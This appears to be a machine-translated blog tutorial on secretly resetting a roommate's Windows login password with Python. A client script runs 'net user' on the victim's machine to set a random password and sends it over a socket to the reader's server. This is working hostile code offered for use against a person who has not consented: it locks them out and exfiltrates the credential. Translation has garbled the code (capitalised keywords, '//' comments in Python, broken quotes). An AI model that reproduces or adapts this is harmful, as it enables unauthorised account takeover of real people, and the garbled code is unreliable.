Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

How to use Python to control the boot password of your roommate's computer

2025-01-19 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Internet Technology >

Share

Shulou(Shulou.com)06/01 Report--

This article introduces the knowledge of "how to use Python to control the boot password of a roommate's computer". In the operation of practical cases, many people will encounter such a dilemma, so let the editor lead you to learn how to deal with these situations. I hope you can read it carefully and be able to achieve something!

How to do it: run the server side on your own computer, and then run the client side script on your partner's computer.

Principle: the client side will randomly generate a password on your buddy's computer and send it to the server side via socket, that is, you.

The code is as follows:

Client side code:

# client.py:// file name

Import socket / / Import the module used

Import getpass

Import subprocess

Import random

Client = socket.socket (socket.AF_INET, socket.SOCK_STREAM) / / create a socket instance

Client.connect (('10.0.0.1, 44444)) / / Connect server IP address / port according to your actual situation

User = getpass.getuser () / / get the computer user name

Psd =''/ / give an psd variable (password) empty

For j in range (1,9): / / generate random numbers from 1 to 9

M = str (random.randrange (0,10))

Psd = psd + m

Subprocess.Popen (['net',' User', user, psd]) / / executed locally (similar to the cmd command)

Client.send (psd.encode ('utf-8')) / / send the password to the server

Back_msg = client.recv (1024)

Client.close () / / close socket

Print psd / / avoid errors and forget your password to print locally first

Server side code:

# server.py / / File name

Import socket / / Import socket

Server = socket.socket (socket.AF_INET, socket.SOCK_STREAM) / / create socket

Server.bind (('10.0.0.1, 44444)) / / bind IP/ port

Server.listen (5) / / Monitoring

Print ('starting....')

Conn, addr = server.accept () / / Connect

Print (conn)

Print ('client addr', addr)

Print ('ready to recv the passwd...')

Client_msg = conn.recv (1024)

Print ('client passwd changed:% s'% client_msg)

Conn.send (client_msg.upper ())

Conn.close ()

Server.close ()

Run the program:

It is recommended to run under the virtual machine, in case something goes wrong, I may forget my password! Remember to remember ~

First run the server side on my Linux to wait for the password from the client side to be received.

Run the server.py script

Then windows runs the client side, which displays the generated password

Only if you run it from the cmd command line, or you will disappear with a double click.

Run under cmd

Now log out or restart to enter the original password and you will find that the password is wrong and the password has been sent to our server.

Server received the password.

If you want to change your password now, open cmd and enter "net user your username your password you want to change" and enter ok.

This is the end of the content of "how to use Python to control the boot password of your roommate's computer". Thank you for reading. If you want to know more about the industry, you can follow the website, the editor will output more high-quality practical articles for you!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Internet Technology

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report